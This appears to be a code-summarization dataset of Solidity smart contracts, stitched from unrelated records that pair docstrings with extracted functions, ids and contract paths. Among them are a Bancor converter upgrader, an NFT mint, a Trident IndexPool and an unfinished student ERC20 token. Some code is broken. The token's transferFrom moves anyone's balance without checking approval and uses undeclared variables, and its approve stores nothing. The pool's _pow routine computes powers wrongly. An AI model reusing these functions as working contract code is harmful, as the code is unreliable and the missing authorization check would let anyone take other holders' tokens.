converter * * @param _token1 address of the first token * @param _token2 address of the second token * @param _rateN rate of 1 unit of `_token1` in `_token2` (numerator) * @param _rateD rate of 1 unit of `_token1` in `_token2` (denominator) */ event TokenRateUpdate(IERC20 indexed _token1, IERC20 indexed _token2, uint256 _rateN, uint256 _rateD); /** * @dev triggered when the conversion fee is updated * * @param _prevFee previous fee percentage, represented in ppm * @param _newFee new fee percentage, represented in ppm */ event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee); } // File: solidity/contracts/converter/interfaces/IConverterUpgrader.sol pragma solidity 0.6.12; /* Converter Upgrader interface */ interface IConverterUpgrader { function upgrade(bytes32 _version) external; function upgrade(uint16 _version) external; } // File: solidity/contracts/converter/interfaces/ITypedConverterCustomFactory.sol pragma solidity 0.6.12; /* Typed Converter Custom Factory interface */ interface ITypedConverterCustomFactory { function converterType() external pure returns (uint16); } // File: solidity/contracts/utility/interfaces/IContractRegistry.sol pragma solidity 0.6.12; /* Contract Registry interface */ interface IContractRegistry { function addressOf(bytes32 _contractName) external view returns (address); } // File: solidity/contracts/converter/interfaces/IConverterFactory.sol pragma solidity 0.6.12; /* Converter Factory interface */ interface IConverterFactory { function createAnchor( uint16 _type, string memory _name, string memory _symbol, uint8 _decimals ) external returns (IConverterAnchor); function createConverter( uint16 _type, IConverterAnchor _anchor, IContractRegistry _registry, uint32 _maxConversionFee ) external returns (IConverter); function customFactories(uint16 _type) external view returns (ITypedConverterCustomFactory); } // File: solidity/contracts/utility/Owned.sol pragma solidity 0.6.12; /** * @dev This contract provides support and utilities for contract ownership. */ contract Owned is IOwned { address public override owner; address public newOwner; /** * @dev triggered when the owner is updated * * @param _prevOwner previous owner * @param _newOwner new owner */ event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev initializes a new Owned instance */ constructor() public { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { _ownerOnly(); _; } // error message binary size optimization function _ownerOnly() internal view { require(msg.sender == owner, "ERR_ACCESS_DENIED"); } /** * @dev allows transferring the contract ownership * the new owner still needs to accept the transfer * can only be called by the contract owner * * @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public override ownerOnly { require(_newOwner != owner, "ERR_SAME_OWNER"); newOwner = _newOwner; } /** * @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public override { require(msg.sender == newOwner, "ERR_ACCESS_DENIED"); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } // File: solidity/contracts/utility/Utils.sol pragma solidity 0.6.12; /** * @dev Utilities & Common Modifiers */ contract Utils { uint32 internal constant PPM_RESOLUTION = 1000000; IERC20 internal constant NATIVE_TOKEN_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // verifies that a value is greater than zero modifier greaterThanZero(uint256 _value) { _greaterThanZero(_value); _; } // error message binary size optimization function _greaterThanZero(uint256 _value) internal pure { require(_value > 0, "ERR_ZERO_VALUE"); } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { _validAddress(_address); _; } // error message binary size optimization function _validAddress(address _address) internal pure { require(_address != address(0), "ERR_INVALID_ADDRESS"); } // ensures that the portion is valid modifier validPortion(uint32 _portion) { _validPortion(_portion); _; } // error message binary size optimization function _validPortion(uint32 _portion) internal pure { require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION"); } // validates an external address - currently only checks that it isn't null or this modifier validExternalAddress(address _address) { _validExternalAddress(_address); _; } // error message binary size optimization function _validExternalAddress(address _address) internal view { require(_address != address(0) && _address != address(this), "ERR_INVALID_EXTERNAL_ADDRESS"); } // ensures that the fee is valid modifier validFee(uint32 fee) { _validFee(fee); _; } // error message binary size optimization function _validFee(uint32 fee) internal pure { require(fee <= PPM_RESOLUTION, "ERR_INVALID_FEE"); } } // File: solidity/contracts/utility/ContractRegistryClient.sol pragma solidity 0.6.12; /** * @dev This is the base contract for ContractRegistry clients. */ contract ContractRegistryClient is Owned, Utils { bytes32 internal constant CONTRACT_REGISTRY = "ContractRegistry"; bytes32 internal constant BANCOR_NETWORK = "BancorNetwork"; bytes32 internal constant BANCOR_FORMULA = "BancorFormula"; bytes32 internal constant CONVERTER_FACTORY = "ConverterFactory"; bytes32 internal constant CONVERSION_PATH_FINDER = "ConversionPathFinder"; bytes32 internal constant CONVERTER_UPGRADER = "BancorConverterUpgrader"; bytes32 internal constant CONVERTER_REGISTRY = "BancorConverterRegistry"; bytes32 internal constant CONVERTER_REGISTRY_DATA = "BancorConverterRegistryData"; bytes32 internal constant BNT_TOKEN = "BNTToken"; bytes32 internal constant BANCOR_X = "BancorX"; bytes32 internal constant BANCOR_X_UPGRADER = "BancorXUpgrader"; bytes32 internal constant LIQUIDITY_PROTECTION = "LiquidityProtection"; bytes32 internal constant NETWORK_SETTINGS = "NetworkSettings"; IContractRegistry public registry; // address of the current contract-registry IContractRegistry public prevRegistry; // address of the previous contract-registry bool public onlyOwnerCanUpdateRegistry; // only an owner can update the contract-registry /** * @dev verifies that the caller is mapped to the given contract name * * @param _contractName contract name */ modifier only(bytes32 _contractName) { _only(_contractName); _; } // error message binary size optimization function _only(bytes32 _contractName) internal view { require(msg.sender == addressOf(_contractName), "ERR_ACCESS_DENIED"); } /** * @dev initializes a new ContractRegistryClient instance * * @param _registry address of a contract-registry contract */ constructor(IContractRegistry _registry) internal validAddress(address(_registry)) { registry = IContractRegistry(_registry); prevRegistry = IContractRegistry(_registry); } /** * @dev updates to the new contract-registry */ function updateRegistry() public { // verify that this function is permitted require(msg.sender == owner || !onlyOwnerCanUpdateRegistry, "ERR_ACCESS_DENIED"); // get the new contract-registry IContractRegistry newRegistry = IContractRegistry(addressOf(CONTRACT_REGISTRY)); // verify that the new contract-registry is different and not zero require(newRegistry != registry && address(newRegistry) != address(0), "ERR_INVALID_REGISTRY"); // verify that the new contract-registry is pointing to a non-zero contract-registry require(newRegistry.addressOf(CONTRACT_REGISTRY) != address(0), "ERR_INVALID_REGISTRY"); // save a backup of the current contract-registry before replacing it prevRegistry = registry; // replace the current contract-registry with the new contract-registry registry = newRegistry; } /** * @dev restores the previous contract-registry */ function restoreRegistry() public ownerOnly { // restore the previous contract-registry registry = prevRegistry; } /** * @dev restricts the permission to update the contract-registry * * @param _onlyOwnerCanUpdateRegistry indicates whether or not permission is restricted to owner only */ function restrictRegistryUpdate(bool _onlyOwnerCanUpdateRegistry) public ownerOnly { // change the permission to update the contract-registry onlyOwnerCanUpdateRegistry = _onlyOwnerCanUpdateRegistry; } /** * @dev returns the address associated with the given contract name * * @param _contractName contract name * * @return contract address */ function addressOf(bytes32 _contractName) internal view returns (address) { return registry.addressOf(_contractName); } } // File: solidity/contracts/converter/ConverterUpgrader.sol pragma solidity 0.6.12; interface ILegacyConverterVersion45 is IConverter { function withdrawTokens( IERC20 _token, address _to, uint256 _amount ) external; function withdrawETH(address payable _to) external; } /** * @dev This contract contract allows upgrading an older converter contract (0.4 and up) * to the latest version. * To begin the upgrade process, simply execute the 'upgrade' function. * At the end of the process, the ownership of the newly upgraded converter will be transferred * back to the original owner and the original owner will need to execute the 'acceptOwnership' function. * * The address of the new converter is available in the ConverterUpgrade event. * * Note that for older converters that don't yet have the 'upgrade' function, ownership should first * be transferred manually to the ConverterUpgrader contract using the 'transferOwnership' function * and then the upgrader 'upgrade' function should be executed directly. */ contract ConverterUpgrader is IConverterUpgrader, ContractRegistryClient { /** * @dev triggered when the contract accept a converter ownership * * @param _converter converter address * @param _owner new owner - local upgrader address */ event ConverterOwned(IConverter indexed _converter, address indexed _owner); /** * @dev triggered when the upgrading process is done * * @param _oldConverter old converter address * @param _newConverter new converter address */ event ConverterUpgrade(address indexed _oldConverter, address indexed _newConverter); /** * @dev initializes a new ConverterUpgrader instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) public ContractRegistryClient(_registry) {} /** * @dev upgrades an old converter to the latest version * will throw if ownership wasn't transferred to the upgrader before calling this function. * ownership of the new converter will be transferred back to the original owner. * fires the ConverterUpgrade event upon success. * can only be called by a converter * * @param _version old converter version */ function upgrade(bytes32 _version) external override { upgradeOld(IConverter(msg.sender), _version); } /** * @dev upgrades an old converter to the latest version * will throw if ownership wasn't transferred to the upgrader before calling this function. * ownership of the new converter will be transferred back to the original owner. * fires the ConverterUpgrade event upon success. * can only be called by a converter * * @param _version old converter version */ function upgrade(uint16 _version) external override { upgrade(IConverter(msg.sender), _version); } /** * @dev upgrades an old converter to the latest version * will throw if ownership wasn't transferred to the upgrader before calling this function. * ownership of the new converter will be transferred back to the original owner. * fires the ConverterUpgrade event upon success. * * @param _converter old converter contract address */ function upgradeOld( IConverter _converter, bytes32 /* _version */ ) public { // the upgrader doesn't require the version for older converters upgrade(_converter, 0); } /** * @dev upgrades an old converter to the latest version * will throw if ownership wasn't transferred to the upgrader before calling this function. * ownership of the new converter will be transferred back to the original owner. * fires the ConverterUpgrade event upon success. * * @param _converter old converter contract address * @param _version old converter version */ function upgrade(IConverter _converter, uint16 _version) private { IConverter converter = IConverter(_converter); address prevOwner = converter.owner(); acceptConverterOwnership(converter); IConverter newConverter = createConverter(converter); copyReserves(converter, newConverter); copyConversionFee(converter, newConverter); transferReserveBalances(converter, newConverter, _version); IConverterAnchor anchor = converter.token(); if (anchor.owner() == address(converter)) { converter.transferTokenOwnership(address(newConverter)); newConverter.acceptAnchorOwnership(); } converter.transferOwnership(prevOwner); newConverter.transferOwnership(prevOwner); newConverter.onUpgradeComplete(); emit ConverterUpgrade(address(converter), address(newConverter)); } /** * @dev the first step when upgrading a converter is to transfer the ownership to the local contract. * the upgrader contract then needs to accept the ownership transfer before initiating * the upgrade process. * fires the ConverterOwned event upon success * * @param _oldConverter converter to accept ownership of */ function acceptConverterOwnership(IConverter _oldConverter) private { _oldConverter.acceptOwnership(); emit ConverterOwned(_oldConverter, address(this)); } /** * @dev creates a new converter with same basic data as the original old converter * the newly created converter will have no reserves at this step. * * @param _oldConverter old converter contract address * * @return the new converter new converter contract address */ function createConverter(IConverter _oldConverter) private returns (IConverter) { IConverterAnchor anchor = _oldConverter.token(); uint32 maxConversionFee = _oldConverter.maxConversionFee(); uint16 reserveTokenCount = _oldConverter.connectorTokenCount(); // determine new converter type uint16 newType = 0; // new converter - get the type from the converter itself if (isV28OrHigherConverter(_oldConverter)) { newType = _oldConverter.converterType(); } else if (reserveTokenCount > 1) { // old converter - if it has 1 reserve token, the type is a liquid token, otherwise the type liquidity pool newType = 1; } if (newType == 1 && reserveTokenCount == 2) { (, uint32 weight0, , , ) = _oldConverter.connectors(_oldConverter.connectorTokens(0)); (, uint32 weight1, , , ) = _oldConverter.connectors(_oldConverter.connectorTokens(1)); if (weight0 == PPM_RESOLUTION / 2 && weight1 == PPM_RESOLUTION / 2) { newType = 3; } } IConverterFactory converterFactory = IConverterFactory(addressOf(CONVERTER_FACTORY)); IConverter converter = converterFactory.createConverter(newType, anchor, registry, maxConversionFee); converter.acceptOwnership(); return converter; } /** * @dev copies the reserves from the old converter to the new one. * note that this will not work for an unlimited number of reserves due to block gas limit constraints. * * @param _oldConverter old converter contract address * @param _newConverter new converter contract address */ function copyReserves(IConverter _oldConverter, IConverter _newConverter) private { uint16 reserveTokenCount = _oldConverter.connectorTokenCount(); for (uint16 i = 0; i < reserveTokenCount; i++) { IERC20 reserveAddress = _oldConverter.connectorTokens(i); (, uint32 weight, , , ) = _oldConverter.connectors(reserveAddress); _newConverter.addReserve(reserveAddress, weight); } } /** * @dev copies the conversion fee from the old converter to the new one * * @param _oldConverter old converter contract address * @param _newConverter new converter contract address */ function copyConversionFee(IConverter _oldConverter, IConverter _newConverter) private { uint32 conversionFee = _oldConverter.conversionFee(); _newConverter.setConversionFee(conversionFee); } /** * @dev transfers the balance of each reserve in the old converter to the new one. * note that the function assumes that the new converter already has the exact same number of reserves * also, this will not work for an unlimited number of reserves due to block gas limit constraints. * * @param _oldConverter old converter contract address * @param _newConverter new converter contract address * @param _version old converter version */ function transferReserveBalances( IConverter _oldConverter, IConverter _newConverter, uint16 _version ) private { if (_version <= 45) { transferReserveBalancesVersion45(ILegacyConverterVersion45(address(_oldConverter)), _newConverter); return; } _oldConverter.transferReservesOnUpgrade(address(_newConverter)); } /** * @dev transfers the balance of each reserve in the old converter to the new one. * note that the function assumes that the new converter already has the exact same number of reserves * also, this will not work for an unlimited number of reserves due to block gas limit constraints. * * @param _oldConverter old converter contract address * @param _newConverter new converter contract address */ function transferReserveBalancesVersion45(ILegacyConverterVersion45 _oldConverter, IConverter _newConverter) private { uint256 reserveBalance; uint16 reserveTokenCount = _oldConverter.connectorTokenCount(); for (uint16 i = 0; i < reserveTokenCount; i++) { IERC20 reserveAddress = _oldConverter.connectorTokens(i); // Ether reserve if (reserveAddress == NATIVE_TOKEN_ADDRESS) { if (address(_oldConverter).balance > 0) { _oldConverter.withdrawETH(address(_newConverter)); } } // ERC20 reserve token else { IERC20 connector = reserveAddress; reserveBalance = connector.balanceOf(address(_oldConverter)); if (reserveBalance > 0) { _oldConverter.withdrawTokens(connector, address(_newConverter), reserveBalance); } } } } bytes4 private constant IS_V28_OR_HIGHER_FUNC_SELECTOR = bytes4(keccak256("isV28OrHigher()")); // using a static call to identify converter version // can't rely on the version number since the function had a different signature in older converters function isV28OrHigherConverter(IConverter _converter) internal view returns (bool) { bytes memory data = abi.encodeWithSelector(IS_V28_OR_HIGHER_FUNC_SELECTOR); (bool success, bytes memory returnData) = address(_converter).staticcall{ gas: 4000 }(data); if (success && returnData.length == 32) { return abi.decode(returnData, (bool)); } return false; } }
copies the conversion fee from the old converter to the new one _oldConverter old converter contract address _newConverter new converter contract address/
function copyConversionFee(IConverter _oldConverter, IConverter _newConverter) private { uint32 conversionFee = _oldConverter.conversionFee(); _newConverter.setConversionFee(conversionFee); }
6,775,129
./full_match/80001/0x517b04a17D4b5cc8145f0328aAb295703414B589/sources/StakingContract.sol
require(msg.value >= STANDARD_PRICE, "Insufficient BNB sent"); Set the NFT referral ID Emit the NFTMinted event Update the referral count for the referrer if a referral ID was provided
function mintStandard( uint256 _referralId ) public payable returns (uint256) { address _to = msg.sender; require( _referralId >= STANDARD_MIN_ID && _referralId <= DIAMOND_MAX_ID ); uint256 newTokenId = _typeTokenIds[STANDARD].current() + STANDARD_MIN_ID; uint _id = newTokenId; require( newTokenId <= STANDARD_MAX_ID, "All standard tokens have been minted" ); _safeMint(msg.sender, newTokenId); _setTokenURI(newTokenId, string(abi.encodePacked(STANDARD_URI))); _typeTokenIds[STANDARD].increment(); nftReferrals[_id] = _referralId; emit NFTMinted(_id, _to, _referralId); distributeRewards(_id); _sendReward(msg.value); if (_referralId != 0) { _updateReferralCount(_referralId); } if (_referralId != 0) { _updateReferralCountstandard(_referralId); } return newTokenId; }
9,437,676
./full_match/42220/0xBd44Fd1339C3B5Cd95E88501b1A6AB7e54cf5622/sources/contracts/community/CommunityImplementation.sol
Locks beneficiary _beneficiaryAddress address of beneficiary to be locked/
function _lockBeneficiary(address _beneficiaryAddress) internal { Beneficiary storage _beneficiary = _beneficiaries[_beneficiaryAddress]; if (_beneficiary.state == BeneficiaryState.Valid) { _changeBeneficiaryState(_beneficiary, BeneficiaryState.Locked); emit BeneficiaryLocked(msg.sender, _beneficiaryAddress); } }
16,317,586
./full_match/1/0xb59D5E435927816B40A9300D16c95dE9796f538D/sources/contracts/ERC20FriendlyRewardModule.sol
@inheritdoc IRewardModule/
function unstake( bytes32 account, address sender, address receiver, uint256 shares, bytes calldata ) external override onlyOwner returns (uint256, uint256) { _update(); return _unstake(account, sender, receiver, shares); }
17,087,070
pragma solidity ^0.4.15; import './interfaces/ERC20Interface.sol'; /** * @title Token * @dev Contract that implements ERC20 token standard * Is deployed by `Crowdsale.sol`, keeps track of balances, etc. */ contract Token is ERC20Interface { // YOUR CODE HERE mapping (address => uint256) balanceBook; uint256 public totalSupply = 200; address owner; function Token() { owner = msg.sender; totalSupply = 10000; } function balanceOf(address _owner) constant returns (uint256 balance) { return balanceBook[_owner]; } function addTokens(uint amount) { totalSupply += amount; } /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) { // check sender has enough money if (balanceBook[msg.sender] < _value) return false; if (balanceBook[_to] + _value < balanceBook[_to]) return false; Transfer(msg.sender, _to, _value); balanceBook[msg.sender] -= _value; balanceBook[_to] += _value; return true; } /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { emit Transfer(_from, _to, _value); if (balanceBook[from] < value) return false; if (balanceBook[_to] + _value < balanceBook[_to]) return false; Transfer(_from, _to, _value); balanceBook[_from] -= _value; balanceBook[_to] += _value; return true; } /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) { require(_value > 0); Approval(msg.sender, _spender, _value); return true; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
send `_value` token to `_to` from `msg.sender` _to The address of the recipient _value The amount of token to be transferred return Whether the transfer was successful or not check sender has enough money
function transfer(address _to, uint256 _value) returns (bool success) { if (balanceBook[msg.sender] < _value) return false; if (balanceBook[_to] + _value < balanceBook[_to]) return false; Transfer(msg.sender, _to, _value); balanceBook[msg.sender] -= _value; balanceBook[_to] += _value; return true; }
12,606,854
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "../interfaces/IBentoBoxMinimal.sol"; import "../interfaces/IMasterDeployer.sol"; import "../interfaces/IPool.sol"; import "../interfaces/ITridentCallee.sol"; import "./TridentERC20.sol"; /// @notice Trident exchange pool template with constant mean formula for swapping among an array of ERC-20 tokens. /// @dev The reserves are stored as bento shares. /// The curve is applied to shares as well. This pool does not care about the underlying amounts. contract IndexPool is IPool, TridentERC20 { event Mint(address indexed sender, address tokenIn, uint256 amountIn, address indexed recipient); event Burn(address indexed sender, address tokenOut, uint256 amountOut, address indexed recipient); uint256 public immutable swapFee; address public immutable barFeeTo; IBentoBoxMinimal public immutable bento; IMasterDeployer public immutable masterDeployer; uint256 internal constant BASE = 10**18; uint256 internal constant MIN_TOKENS = 2; uint256 internal constant MAX_TOKENS = 8; uint256 internal constant MIN_FEE = BASE / 10**6; uint256 internal constant MAX_FEE = BASE / 10; uint256 internal constant MIN_WEIGHT = BASE; uint256 internal constant MAX_WEIGHT = BASE * 50; uint256 internal constant MAX_TOTAL_WEIGHT = BASE * 50; uint256 internal constant MIN_BALANCE = BASE / 10**12; uint256 internal constant INIT_POOL_SUPPLY = BASE * 100; uint256 internal constant MIN_POW_BASE = 1; uint256 internal constant MAX_POW_BASE = (2 * BASE) - 1; uint256 internal constant POW_PRECISION = BASE / 10**10; uint256 internal constant MAX_IN_RATIO = BASE / 2; uint256 internal constant MAX_OUT_RATIO = (BASE / 3) + 1; uint136 internal totalWeight; address[] internal tokens; uint256 public barFee; bytes32 public constant override poolIdentifier = "Trident:Index"; uint256 internal unlocked; modifier lock() { require(unlocked == 1, "LOCKED"); unlocked = 2; _; unlocked = 1; } mapping(address => Record) public records; struct Record { uint120 reserve; uint136 weight; } constructor(bytes memory _deployData, address _masterDeployer) { (address[] memory _tokens, uint136[] memory _weights, uint256 _swapFee) = abi.decode(_deployData, (address[], uint136[], uint256)); // @dev Factory ensures that the tokens are sorted. require(_tokens.length == _weights.length, "INVALID_ARRAYS"); require(MIN_FEE <= _swapFee && _swapFee <= MAX_FEE, "INVALID_SWAP_FEE"); require(MIN_TOKENS <= _tokens.length && _tokens.length <= MAX_TOKENS, "INVALID_TOKENS_LENGTH"); for (uint256 i = 0; i < _tokens.length; i++) { require(_tokens[i] != address(0), "ZERO_ADDRESS"); require(MIN_WEIGHT <= _weights[i] && _weights[i] <= MAX_WEIGHT, "INVALID_WEIGHT"); records[_tokens[i]] = Record({reserve: 0, weight: _weights[i]}); tokens.push(_tokens[i]); totalWeight += _weights[i]; } require(totalWeight <= MAX_TOTAL_WEIGHT, "MAX_TOTAL_WEIGHT"); // @dev This burns initial LP supply. _mint(address(0), INIT_POOL_SUPPLY); swapFee = _swapFee; barFee = IMasterDeployer(_masterDeployer).barFee(); barFeeTo = IMasterDeployer(_masterDeployer).barFeeTo(); bento = IBentoBoxMinimal(IMasterDeployer(_masterDeployer).bento()); masterDeployer = IMasterDeployer(_masterDeployer); unlocked = 1; } /// @dev Mints LP tokens - should be called via the router after transferring `bento` tokens. /// The router must ensure that sufficient LP tokens are minted by using the return value. function mint(bytes calldata data) public override lock returns (uint256 liquidity) { (address recipient, uint256 toMint) = abi.decode(data, (address, uint256)); uint120 ratio = uint120(_div(toMint, totalSupply)); for (uint256 i = 0; i < tokens.length; i++) { address tokenIn = tokens[i]; uint120 reserve = records[tokenIn].reserve; // @dev If token balance is '0', initialize with `ratio`. uint120 amountIn = reserve != 0 ? uint120(_mul(ratio, reserve)) : ratio; require(amountIn >= MIN_BALANCE, "MIN_BALANCE"); // @dev Check Trident router has sent `amountIn` for skim into pool. unchecked { // @dev This is safe from overflow - only logged amounts handled. require(_balance(tokenIn) >= amountIn + reserve, "NOT_RECEIVED"); records[tokenIn].reserve += amountIn; } emit Mint(msg.sender, tokenIn, amountIn, recipient); } _mint(recipient, toMint); liquidity = toMint; } /// @dev Burns LP tokens sent to this contract. The router must ensure that the user gets sufficient output tokens. function burn(bytes calldata data) public override lock returns (IPool.TokenAmount[] memory withdrawnAmounts) { (address recipient, bool unwrapBento, uint256 toBurn) = abi.decode(data, (address, bool, uint256)); uint256 ratio = _div(toBurn, totalSupply); withdrawnAmounts = new TokenAmount[](tokens.length); _burn(address(this), toBurn); for (uint256 i = 0; i < tokens.length; i++) { address tokenOut = tokens[i]; uint256 balance = records[tokenOut].reserve; uint120 amountOut = uint120(_mul(ratio, balance)); require(amountOut != 0, "ZERO_OUT"); // @dev This is safe from underflow - only logged amounts handled. unchecked { records[tokenOut].reserve -= amountOut; } _transfer(tokenOut, amountOut, recipient, unwrapBento); withdrawnAmounts[i] = TokenAmount({token: tokenOut, amount: amountOut}); emit Burn(msg.sender, tokenOut, amountOut, recipient); } } /// @dev Burns LP tokens sent to this contract and swaps one of the output tokens for another /// - i.e., the user gets a single token out by burning LP tokens. function burnSingle(bytes calldata data) public override lock returns (uint256 amountOut) { (address tokenOut, address recipient, bool unwrapBento, uint256 toBurn) = abi.decode(data, (address, address, bool, uint256)); Record storage outRecord = records[tokenOut]; amountOut = _computeSingleOutGivenPoolIn(outRecord.reserve, outRecord.weight, totalSupply, totalWeight, toBurn, swapFee); require(amountOut <= _mul(outRecord.reserve, MAX_OUT_RATIO), "MAX_OUT_RATIO"); // @dev This is safe from underflow - only logged amounts handled. unchecked { outRecord.reserve -= uint120(amountOut); } _burn(address(this), toBurn); _transfer(tokenOut, amountOut, recipient, unwrapBento); emit Burn(msg.sender, tokenOut, amountOut, recipient); } /// @dev Swaps one token for another. The router must prefund this contract and ensure there isn't too much slippage. function swap(bytes calldata data) public override lock returns (uint256 amountOut) { (address tokenIn, address tokenOut, address recipient, bool unwrapBento, uint256 amountIn) = abi.decode( data, (address, address, address, bool, uint256) ); Record storage inRecord = records[tokenIn]; Record storage outRecord = records[tokenOut]; require(amountIn <= _mul(inRecord.reserve, MAX_IN_RATIO), "MAX_IN_RATIO"); amountOut = _getAmountOut(amountIn, inRecord.reserve, inRecord.weight, outRecord.reserve, outRecord.weight); // @dev Check Trident router has sent `amountIn` for skim into pool. unchecked { // @dev This is safe from under/overflow - only logged amounts handled. require(_balance(tokenIn) >= amountIn + inRecord.reserve, "NOT_RECEIVED"); inRecord.reserve += uint120(amountIn); outRecord.reserve -= uint120(amountOut); } _transfer(tokenOut, amountOut, recipient, unwrapBento); emit Swap(recipient, tokenIn, tokenOut, amountIn, amountOut); } /// @dev Swaps one token for another. The router must support swap callbacks and ensure there isn't too much slippage. function flashSwap(bytes calldata data) public override lock returns (uint256 amountOut) { (address tokenIn, address tokenOut, address recipient, bool unwrapBento, uint256 amountIn, bytes memory context) = abi.decode( data, (address, address, address, bool, uint256, bytes) ); Record storage inRecord = records[tokenIn]; Record storage outRecord = records[tokenOut]; require(amountIn <= _mul(inRecord.reserve, MAX_IN_RATIO), "MAX_IN_RATIO"); amountOut = _getAmountOut(amountIn, inRecord.reserve, inRecord.weight, outRecord.reserve, outRecord.weight); ITridentCallee(msg.sender).tridentSwapCallback(context); // @dev Check Trident router has sent `amountIn` for skim into pool. unchecked { // @dev This is safe from under/overflow - only logged amounts handled. require(_balance(tokenIn) >= amountIn + inRecord.reserve, "NOT_RECEIVED"); inRecord.reserve += uint120(amountIn); outRecord.reserve -= uint120(amountOut); } _transfer(tokenOut, amountOut, recipient, unwrapBento); emit Swap(recipient, tokenIn, tokenOut, amountIn, amountOut); } /// @dev Updates `barFee` for Trident protocol. function updateBarFee() public { barFee = IMasterDeployer(masterDeployer).barFee(); } function _balance(address token) internal view returns (uint256 balance) { balance = bento.balanceOf(token, address(this)); } function _getAmountOut( uint256 tokenInAmount, uint256 tokenInBalance, uint256 tokenInWeight, uint256 tokenOutBalance, uint256 tokenOutWeight ) internal view returns (uint256 amountOut) { uint256 weightRatio = _div(tokenInWeight, tokenOutWeight); // @dev This is safe from under/overflow - only logged amounts handled. unchecked { uint256 adjustedIn = _mul(tokenInAmount, (BASE - swapFee)); uint256 a = _div(tokenInBalance, tokenInBalance + adjustedIn); uint256 b = _compute(a, weightRatio); uint256 c = BASE - b; amountOut = _mul(tokenOutBalance, c); } } function _compute(uint256 base, uint256 exp) internal pure returns (uint256 output) { require(MIN_POW_BASE <= base && base <= MAX_POW_BASE, "INVALID_BASE"); uint256 whole = (exp / BASE) * BASE; uint256 remain = exp - whole; uint256 wholePow = _pow(base, whole / BASE); if (remain == 0) output = wholePow; uint256 partialResult = _powApprox(base, remain, POW_PRECISION); output = _mul(wholePow, partialResult); } function _computeSingleOutGivenPoolIn( uint256 tokenOutBalance, uint256 tokenOutWeight, uint256 _totalSupply, uint256 _totalWeight, uint256 toBurn, uint256 _swapFee ) internal pure returns (uint256 amountOut) { uint256 normalizedWeight = _div(tokenOutWeight, _totalWeight); uint256 newPoolSupply = _totalSupply - toBurn; uint256 poolRatio = _div(newPoolSupply, _totalSupply); uint256 tokenOutRatio = _pow(poolRatio, _div(BASE, normalizedWeight)); uint256 newBalanceOut = _mul(tokenOutRatio, tokenOutBalance); uint256 tokenAmountOutBeforeSwapFee = tokenOutBalance - newBalanceOut; uint256 zaz = (BASE - normalizedWeight) * _swapFee; amountOut = _mul(tokenAmountOutBeforeSwapFee, (BASE - zaz)); } function _pow(uint256 a, uint256 n) internal pure returns (uint256 output) { output = n % 2 != 0 ? a : BASE; for (n /= 2; n != 0; n /= 2) a = a * a; if (n % 2 != 0) output = output * a; } function _powApprox( uint256 base, uint256 exp, uint256 precision ) internal pure returns (uint256 sum) { uint256 a = exp; (uint256 x, bool xneg) = _subFlag(base, BASE); uint256 term = BASE; sum = term; bool negative; for (uint256 i = 1; term >= precision; i++) { uint256 bigK = i * BASE; (uint256 c, bool cneg) = _subFlag(a, (bigK - BASE)); term = _mul(term, _mul(c, x)); term = _div(term, bigK); if (term == 0) break; if (xneg) negative = !negative; if (cneg) negative = !negative; if (negative) { sum = sum - term; } else { sum = sum + term; } } } function _subFlag(uint256 a, uint256 b) internal pure returns (uint256 difference, bool flag) { // @dev This is safe from underflow - if/else flow performs checks. unchecked { if (a >= b) { (difference, flag) = (a - b, false); } else { (difference, flag) = (b - a, true); } } } function _mul(uint256 a, uint256 b) internal pure returns (uint256 c2) { uint256 c0 = a * b; uint256 c1 = c0 + (BASE / 2); c2 = c1 / BASE; } function _div(uint256 a, uint256 b) internal pure returns (uint256 c2) { uint256 c0 = a * BASE; uint256 c1 = c0 + (b / 2); c2 = c1 / b; } function _transfer( address token, uint256 shares, address to, bool unwrapBento ) internal { if (unwrapBento) { bento.withdraw(token, address(this), to, 0, shares); } else { bento.transfer(token, address(this), to, shares); } } function getAssets() public view override returns (address[] memory assets) { assets = tokens; } function getAmountOut(bytes calldata data) public view override returns (uint256 amountOut) { (uint256 tokenInAmount, uint256 tokenInBalance, uint256 tokenInWeight, uint256 tokenOutBalance, uint256 tokenOutWeight) = abi .decode(data, (uint256, uint256, uint256, uint256, uint256)); amountOut = _getAmountOut(tokenInAmount, tokenInBalance, tokenInWeight, tokenOutBalance, tokenOutWeight); } function getAmountIn(bytes calldata) public pure override returns (uint256) { revert(); } function getReservesAndWeights() public view returns (uint256[] memory reserves, uint136[] memory weights) { uint256 length = tokens.length; reserves = new uint256[](length); weights = new uint136[](length); // @dev This is safe from overflow - `tokens` `length` is bound to '8'. unchecked { for (uint256 i = 0; i < length; i++) { reserves[i] = records[tokens[i]].reserve; weights[i] = records[tokens[i]].weight; } } } }
Burns LP tokens sent to this contract and swaps one of the output tokens for another - i.e., the user gets a single token out by burning LP tokens. This is safe from underflow - only logged amounts handled.
